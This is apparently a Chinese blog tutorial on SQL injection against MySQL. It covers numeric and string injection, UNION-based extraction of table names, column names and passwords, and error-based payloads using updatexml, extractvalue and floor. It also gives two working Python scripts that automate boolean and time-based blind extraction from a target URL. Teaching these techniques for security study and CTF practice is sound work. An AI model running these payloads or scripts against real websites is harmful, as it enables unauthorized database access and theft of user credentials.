SQL注入

SQL注入原理介绍

(建议使用电脑阅读,电脑排版相对来说更好一点)

1:百度百科:sql注入_百度百科

2:ChatGPT:

SQL注入是一种常见的安全漏洞,它利用了应用程序对用户提供的输入数据的不正确处理,从而使攻击者能够执行未经授权的SQL查询或命令。其原理可以概括如下:

用户输入不正确处理:应用程序通常从用户获取输入数据,例如表单、URL参数或Cookie。如果应用程序没有正确验证、过滤或转义这些输入数据,那么恶意用户可以在输入数据中插入特殊的SQL语句或字符。

拼接恶意SQL语句:攻击者通过在输入数据中插入特殊的SQL语句或字符,改变应用程序原本预期的SQL查询逻辑。这些恶意SQL语句可以用于绕过认证、获取敏感数据、修改数据或执行其他未经授权的操作。

执行恶意SQL查询:一旦应用程序接受并执行了包含恶意SQL语句的查询,数据库将按照攻击者的意图执行该查询,导致不受控制的行为发生。

举个例子来说明,假设一个登录页面的后台代码如下:

username = getRequestParameter("username");
password = getRequestParameter("password");
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
executeQuery(query);

上述代码中,如果应用程序没有对用户输入的username和password进行适当的验证和转义,攻击者可以在username字段中插入恶意的SQL语句,从而破坏原始查询的逻辑。例如,攻击者可以输入' OR '1'='1作为username的值,那么最终的查询语句将变为:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='...';

这样的查询条件恒为真,就会绕过密码验证,返回所有用户的信息。

3:51CTO学院:

SQL注入产生原理
动态交互网站,实现交互利用用户输入拼接到SQL执行,输入不同导致返回结果不同。用户输入内容没有经过完美处理,而且构造SQL语句,直接将构造的SQL语句带入SQL语句中执行,导致SQL注入漏洞。
登录功能模块:实现用户身份认证
用户输入: 用户名和密码
SQL语句拼接: select * from admin where username = '用户提交' and password ='用户提交'
正常情况下,where条件语句当用户提交数据在数据库中存在才返回真,不存在返回假,可以完成用户身份认证。
但是如果恶意用户输入一段精心构造的SQL语句,使得输入部分也被识别为SQL语句,那么此时就会造成SQL注入漏洞.

根据参数类型分类:

SQL注入主要分为数字型注入和字符型注入:

这两种类型的注入方式在攻击方法和利用方式上略有不同。

数字型注入

SQL语句大致如下:

select * from <表名> where id = x;

此时x就可以成为一个注入点,当传入:x = 1 or 1 = 1

此时的SQL查询语句为:

select * from <表名> where id = 1 or 1 = 1;

由于后面的 “1 = 1”恒成立,所以where 后面的 “id = 1 or 1 = 1”也永远成立,此时SQL查询语句就可以正确执行,并返回id = 1中的所有数据。

字符型注入

SQL语句大致如下:

select * from <表名> where id = 'x' and password = 'y';

此时x就可以成为一个注入点,当传入:

x = 1' or '1' = '1时(x起始和结尾都没有单引号)

y可以随便传也可以不传

此时的SQL查询语句为:

select * from <表名> where id = '1' or '1' = '1' and password = 'y';

由于or后面的 '1' = '1' 使之恒成立,此时SQL查询语句就可以正确执行,并返回id = '1' 中的所有数据。

判断具体是数字型还是字符型

当输入的值为数字时,通常的 SQL 查询语句可能是这样的:

SELECT * FROM 表名 WHERE id = 输入值;

我们可以使用一些特定的输入来判断是否存在数字型注入漏洞:

输入  1 AND 1=1 ,如果查询正常并返回结果,那么继续下一步。
输入  1 AND 1=2 ,如果查询出现错误或者没有结果,那么说明存在数字型注入漏洞。
这种判断方式的原理是,1=1 总是成立,而 1=2 总是不成立。如果输入的值被正确地处理,查询结果应该只返回符合条件的数据,而不受附加的条件影响。

如果输入的值为字符型,通常的 SQL 查询语句可能是这样的:

SELECT * FROM 表名 WHERE id = '输入值';

我们可以使用类似的方式来判断是否存在字符型注入漏洞:

输入 1' AND '1'='1 ,如果查询正常并返回结果,那么继续下一步。
输入 1' AND '1'='2 ,如果查询出现错误或者没有结果,那么说明存在字符型注入漏洞。
这种判断方式的原理是,'1'='1' 总是成立,而 '1'='2' 总是不成立。如果输入的值被正确地处理,查询结果应该只返回与输入值完全匹配的数据。

根据注入方法分类:

Union联合查询注入、布尔注入、时间盲注、报错注入、使用sqlmap自动注入等等

Union联合查询注入

联合注入原理

在SQL语句中查询数据时,使用select 相关语句与where 条件子句筛选符合条件的记录.

select * from person where id = 1;#在person表中,筛选出id=1的记录

如果该id=1 中的1 是用户可以控制输入的部分时,就有可能存在SQL注入漏洞
数据库提供联合查询,使得可以将两条SQL查询语句的结果进行连接。务必注意: 两者的字段数必须一致。

select * from person where id = 1 union select 1,2,database(),4,5;

判断联合查询语句中的字段数时可以使用order by num 。

select * from person where id = 1 order by num;

当依次增大num时,如果出现错误,那么SOL查询语句的结果字段数就为num-1。

联合查询注入语句

(以数字型为例)

1:执行联合查询

select * from person where id = 1 union select 1,2,3,4,5;

2:查询数据库名、版本号、用户信息

select * from person where id = 1 union select 1,2,database(),version(),user();

3:查询数据表名

select * from person where id = 1 union select 1,2,(select table_name from information_schema.tables where table_schema = database() limit 0,1),4,5;
select * from person where id = 1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = database()),4,5;

4:查询字段名

select * from person where id = 1 union select 1,2,(select column_name from information_schema.columns where table_name = 'admin' limit 0,1),4,5;

这里的'admin'可以替换为相应的十六进制形式:0x61646D696E

select * from person where id = 1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = 0x61646D696E),4,5;

5:查询具体数据

select * from person where id = 1 union select 1,2,(group_concat(password) from admin),4,5;

注:字符型使用Union联合查询注入时,要使用 --+ 或 # 注释掉后面的内容

布尔注入

适用场景

1、WAF或者过滤函数完全过滤掉union关键字
2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

布尔注入原理

利用逻辑关系对SQL语句进行“干预”,例如 select* from article where id = 1 and 1=1 恒为真,输出正确情况,如果拼接and 1=2恒为假,输出错误情况。

可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。在实际情况中的页面可能很”复杂”,此时单纯适用肉眼不太容易分辨,可以分别对两种情况进行抓包,然后对比二者返回包中的区别。

注入方法

使用Burpsuite

使用Burpsuite抓包,然后构造payload,发送至Intruder模块逐字符进行爆破

使用Python脚本注入
import requests

def condition(res):
    if 'query_success' in res.text:
        return True
    return False

result = ''
_url = '需要注入的URL'
import time

for _time in range(1,1000):
    print("time:%d" %(_time))
    min = 32
    max = 128
    while(min<=max):
        mid = (min+max)//2
        # 获取当前库名
        #url = f"{_url}?id=1 And if(((oRd(suBstr((sElect grOup_concat(tAble_name) fRom infOrmation_schema.tables wHere tAble_schema iN (dAtabase())) fRom {_time} fOr 1))) iN ({mid})),1,0)%23"
        # 获取当前列名
        #url = f"{_url}?id=1 And if(((oRd(suBstr((sElect grOup_concat(cOlumn_name) fRom infOrmation_schema.columns wHere tAble_name iN ('flag')) fRom {_time} fOr 1))) iN ({mid})),1,0)%23"
        # 获取数据
        url = f"{_url}?id=1 And if(((oRd(suBstr((sElect (flag) fRom (flag)) fRom {_time} fOr 1))) iN ({mid})),1,0)%23"
        time.sleep(0.2) #防止注入速度过快
        res = requests.get(url=url)
        if (condition(res)):
            result += chr(mid)
            print(result)
            break
        else:
            #url = f"{_url}?id=1 And if(((oRd(suBstr((sElect grOup_concat(tAble_name) fRom infOrmation_schema.tables wHere tAble_schema iN (dAtabase())) fRom {_time} fOr 1))) > ({mid})),1,0)%23"
            #url = f"{_url}?id=1 And if(((oRd(suBstr((sElect grOup_concat(cOlumn_name) fRom infOrmation_schema.columns wHere tAble_name iN ('flag')) fRom {_time} fOr 1))) > ({mid})),1,0)%23"
            url = f"{_url}?id=1 And if(((oRd(suBstr((sElect (flag) fRom (flag)) fRom {_time} fOr 1))) > ({mid})),1,0)%23"
            res = requests.get(url=url)
            if(condition(res)):
                min = mid
            else:
                max = mid

时间盲注


适用场景

无法利用页面显示结果判断SQL注入是否执行成功,此时可以利用 SOL语句执行的延时 判断SOL是否执行成功。只要可以执行延时,那么就可以利用该注入技术。

时间盲注原理

sql时间盲注的本质是利用插入的SQL语句执行造成时间延迟,插入的SQL语句中包含延时执行的语句,当数据库执行该语句时,会延时执行。

Mysql中常用的延时执行函数
sleep(num);
benchmark(num, function);

例如:benchmark(1000000,rand());

heavy query
heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算(可以查找相关资料学习具体使用方法)


Mysql中常用的判断结构
IF(condition, when_true, when_false);
例如:select * from admin where id = 1 and (if(length(database())>0,sleep(3),1));

 注入方法

使用Burpsuite

同布尔注入

使用Python脚本注入
import requests

result = ''
_url = '需要注入的URL'
import time

for _time in range(1,1000):
    print("time:%d" %(_time))
    for mid in range(32,129):
        # 获取当前库名
        #murl = f"{_url}?id=1 And if(((oRd(suBstr((sElect grOup_concat(tAble_name) fRom infOrmation_schema.tables wHere tAble_schema iN (dAtabase())) fRom {_time} fOr 1))) iN ({mid})),slEep(3),0)%23"
        # 获取当前列名
        #url = f"{_url}?id=1 And if(((oRd(suBstr((sElect grOup_concat(cOlumn_name) fRom infOrmation_schema.columns wHere tAble_name iN ('flag')) fRom {_time} fOr 1))) iN ({mid})),slEep(1),0)%23"
        # 获取数据
        url = f"{_url}?id=1 And if(((oRd(suBstr((sElect (flag) fRom (flag)) fRom {_time} fOr 1))) iN ({mid})),slEep(1),0)%23"

        start = time.time()
        res = requests.get(url=url)
        end = time.time()
        if(end-start>=1):
            result = result+chr(mid)
            print(result)
            break

        """
        try:
            res = requests.get(url=url, timeout=1)
        except:
            result = result+chr(mid)
            print(result)
        # 这段代码也可以实现对超时情况的筛选
        """

报错注入 

报错注入原理

利用Mysql数据库报错,导致输出查询数据信息。

Mysql报错函数小结 - 先知社区

注入方法

floor(rand(0)*2)报错

原理可以参考下面这篇文章

基于floor()函数的主键重复报错注入原理 - FreeBuf网络安全行业门户 来自FreeBuf.COM

mysql查询语句:

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
select count(*),concat(version(),floor(rand(0)*2)) from information_schema.tables group by concat(version(),floor(rand(0)*2));

报错输出:

数据库版本信息
ERROR 1062 (23000): Duplicate entry  '5.5.531'  for key 'group_key'

这里输出的'5.5.531'就是查询到的版本号,把payload中的version()换成正常的查询语句即可实现注入效果

updatexml报错

updatexml(XML_document,XPath_string,new_value);

第一个参数: XML_document是String格式,为XML文档对象的名称,
第二个参数: XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,string格式,替换查找到的符合条件的数据
当第二个参数不符合Xpath语法,那么报错

mysql查询语句:

select * from admin where id = 1 and updatexml(1,concat(0x7e,version(),0x7e),1);

报错输出:

数据库版本信息

ERROR 1105 (HY): XPATH syntax error:~5.5.53~

extractvalue报错

extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/.这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
mysql查询语句:

select * from person where id = 1 and extractvalue(1,concat(0x7e,(version()),0x7e));

报错输出:

数据库版本信息

ERROR 1105 (HY000): XPATH syntaor error:'~5.5.53~'

其他报错函数

1.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

2.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

3 .polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

4.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));

5.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

6.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

7.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

持续更新~ 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值